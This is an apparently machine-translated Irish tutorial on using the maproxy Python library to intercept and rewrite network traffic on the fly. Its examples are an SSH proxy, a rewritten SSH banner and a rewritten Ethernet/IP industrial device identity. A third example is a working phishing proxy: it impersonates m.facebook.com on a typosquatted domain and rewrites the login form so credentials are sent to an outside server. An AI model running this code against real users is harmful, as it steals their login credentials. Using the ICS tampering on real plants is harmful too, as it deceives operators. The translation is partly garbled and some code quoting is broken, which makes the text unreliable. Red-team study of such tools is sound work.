Próiseáil sonraí líonra ar an eitilt

Ullmhaíodh aistriúchán an ailt ar an oíche roimh thús an chúrsa “Péint. Cleachtas tástála treá".

Próiseáil sonraí líonra ar an eitilt

Anótáil

Baineann éagsúlacht de mheasúnuithe slándála, ó thástáil rialta treá agus oibríochtaí na Foirne Deirge go haiceáil gléasanna IoT/ICS agus SCADA, le bheith ag obair le prótacail líonra dhénártha, is é sin, go bunúsach idircheapadh agus modhnú sonraí líonra idir an cliant agus an sprioc. Ní tasc deacair é trácht líonra a sniffing ós rud é go bhfuil uirlisí againn mar Wireshark, Tcpdump nó Scapy, ach is cosúil gur tasc níos déine ar shaothar é an modhnú mar beidh gá le comhéadan de chineál éigin chun sonraí an líonra a léamh, a scagadh, a athrú. é ar an eitilt agus é a sheoladh ar ais chuig an óstach sprice i mbeagnach fíor-ama. Ina theannta sin, bheadh ​​​​sé iontach dá bhféadfadh uirlis den sórt sin oibriú go huathoibríoch le naisc chomhthreomhara iolracha agus go bhféadfaí é a shaincheapadh ag baint úsáide as scripteanna.

Lá amháin fuair mé amach uirlis ar a dtugtar maproxy, rinne na doiciméid soiléir dom go tapa maproxy – díreach an rud atá uaim. Is seachfhreastalaí TCP simplí, ilúsáideach é seo agus is furasta é a chumrú. Thástáil mé an uirlis seo ar roinnt feidhmchlár measartha casta, lena n-áirítear gléasanna ICS (a ghineann go leor paicéid) féachaint an bhféadfadh sé go leor nasc comhthreomhar a láimhseáil, agus d'fheidhmigh an uirlis go maith.

Tabharfaidh an t-alt seo isteach tú ar phróiseáil sonraí líonra ar an eitilt ag baint úsáide as maproxy.

Athbhreithniú a dhéanamh ar

Uirlis maproxy bunaithe ar Tornado, creat líonraithe asincrónach a bhfuil tóir air agus aibí i Python.

Go ginearálta, is féidir é a oibriú i roinnt modhanna:

  • TCP:TCP – naisc TCP neamhchriptithe;
  • TCP:SSL и SSL:TCP – le criptiú aontreo;
  • SSL:SSL – criptiú déthreo.

Tagann sé mar leabharlann. Chun tús tapa a chur leis, is féidir leat comhaid shamplacha a úsáid a léiríonn na príomh-chomhaid feidhmeanna leabharlainne:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Cás 1 – seachfhreastalaí déthreo shimplí

Bunaithe ar tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

De réir réamhshocraithe ProxyServer() Bíonn dhá argóint ann – suíomh an naisc agus an spriocphort. server.listen() Bíonn argóint amháin - an port chun éisteacht leis an nasc isteach.

An script a rith:

# python tcp2tcp.py

Chun an tástáil a rith, táimid chun nascadh le freastalaí SSH áitiúil trínár seachfhreastalaí, a éisteann ar 2222/tcp port agus nascann sé le calafort caighdeánach 22/tcp Freastalaithe SSH:

Próiseáil sonraí líonra ar an eitilt

Cuireann an bhratach fáilte in iúl duit gur éirigh lenár script shamplach trácht líonra a sheachvótáil.

Cás 2 – modhnú sonraí

Script taispeána eile logging_proxy.py iontach chun idirghníomhú le sonraí líonra. Déanann na tuairimí sa chomhad cur síos ar na modhanna ranga is féidir leat a mhodhnú chun do sprioc a bhaint amach:

Próiseáil sonraí líonra ar an eitilt

Tá an rud is suimiúla anseo:

  • on_c2p_done_read – sonraí a thascradh feadh na slí ón gcliant go dtí an freastalaí;
  • on_p2s_done_read - droim ar ais.

Déanaimis iarracht an bhratach SSH a chuireann an freastalaí ar ais chuig an gcliant a athrú:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Rith an script:

Próiseáil sonraí líonra ar an eitilt

Mar a fheiceann tú, cuireadh an cliant amú toisc gur athraíodh ainm an fhreastalaí SSH dó «DumnySSH».

Próiseáil sonraí líonra ar an eitilt

Cás 3 – leathanach gréasáin fioscaireachta simplí

Tá bealaí gan teorainn ann chun an uirlis seo a úsáid. An uair seo dírímid ar rud éigin níos praiticiúla ó thaobh oibríochtaí na Foirne Deirge. Déanaimis aithris ar an leathanach tuirlingthe m.facebook.com agus bain úsáid as fearann ​​saincheaptha le clóscríobh d’aon ghnó, mar shampla, m.facebok.com. Chun críocha taispeána, déanaimis glacadh leis go bhfuil an fearann ​​cláraithe linn.

Táimid chun nasc líonra neamhchriptithe a bhunú lenár seachfhreastalaí íospartaigh agus SSL Stream chuig an bhfreastalaí Facebook (31.13.81.36). Chun an sampla seo a dhéanamh, ní mór dúinn ceanntásc an óstaigh HTTP a athsholáthar agus an t-óstainm ceart a instealladh, agus díchumasóimid comhbhrú freagartha freisin ionas gur féidir linn an t-ábhar a rochtain go héasca. Ar deireadh thiar cuirfimid an fhoirm HTML in áit ionas go seolfar na dintiúir logáil isteach chugainn in ionad freastalaithe Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ga/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Go hachomair:

Próiseáil sonraí líonra ar an eitilt

Mar a fheiceann tú, bhíomar in ann an suíomh bunaidh a athsholáthar go rathúil.

Cás 4 – Ethernet/IP á aistriú

Tá mé ag plé le gléasanna agus bogearraí tionsclaíochta (ICS/SCADA) le tamall maith anuas, mar rialaitheoirí in-ríomhchláraithe (PLC), modúil I/O, thiomáineann, athsheachadáin, timpeallachtaí ríomhchláraithe dréimire agus go leor eile. Tá an cás seo ann dóibh siúd ar mhaith leo rudaí tionsclaíocha. Is éard atá i gceist le réitigh den sórt sin a hack imirt go gníomhach le prótacail líonra. Sa sampla seo a leanas, ba mhaith liom a thaispeáint conas is féidir leat trácht líonra ICS/SCADA a mhodhnú.

Chun seo beidh na rudaí seo a leanas uait:

  • Sniffer líonra, mar shampla, Wireshark;
  • Ethernet/IP nó díreach gléas SIP, is féidir leat é a fháil ag baint úsáide as an tseirbhís Shodan;
  • Tá ár script bunaithe ar maproxy.

Ar dtús, déanaimis féachaint ar an gcuma atá ar ghnáthfhreagairt aitheantais ó CIP (Prótacal Coiteann Tionscail):

Próiseáil sonraí líonra ar an eitilt

Baintear úsáid as an bprótacal Ethernet/IP a shainaithint, ar leagan feabhsaithe é den phrótacal Ethernet tionsclaíoch a chumhdaíonn prótacail rialaithe ar nós CIP. Táimid chun an t-ainm aitheantais aibhsithe atá le feiceáil sa screenshot a athrú "NI-IndComm le haghaidh Ethernet" ag baint úsáide as ár script seachfhreastalaí. D’fhéadfaimis an script a athúsáid logging_proxy.py agus modh an ranga a mhodhnú mar an gcéanna on_p2s_done_read, toisc go dteastaíonn uainn ainm aitheantais difriúil a bheith le feiceáil ar an gcliant.

Cód:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Go bunúsach, d'iarramar aithint gléas faoi dhó, ba é an dara freagra an ceann bunaidh, agus athraíodh an chéad cheann ar an eitilt.

Agus an ceann deireanach

I mo thuairim maproxy Uirlis áisiúil agus simplí, atá scríofa freisin i Python, mar sin creidim gur féidir leatsa freisin leas a bhaint as é a úsáid. Ar ndóigh, tá uirlisí níos casta ann chun sonraí líonra a phróiseáil agus a mhodhnú, ach tá níos mó airde ag teastáil uathu freisin agus de ghnáth cruthaítear iad le haghaidh cás úsáide sonrach, e.g. Muraena, Modlishkaolcginx le haghaidh cásanna cosúil leis an tríú, nó tolg don chás deireanach. Bealach amháin nó bealach eile, le cabhair maproxy is féidir leat do chuid smaointe a chur i bhfeidhm go tapa maidir le sonraí líonra a idircheapadh, ós rud é go bhfuil na scripteanna samplacha an-soiléir.

Meicníochtaí fíordheimhnithe a thástáil i Windows AD

Foinse: will.com

Add a comment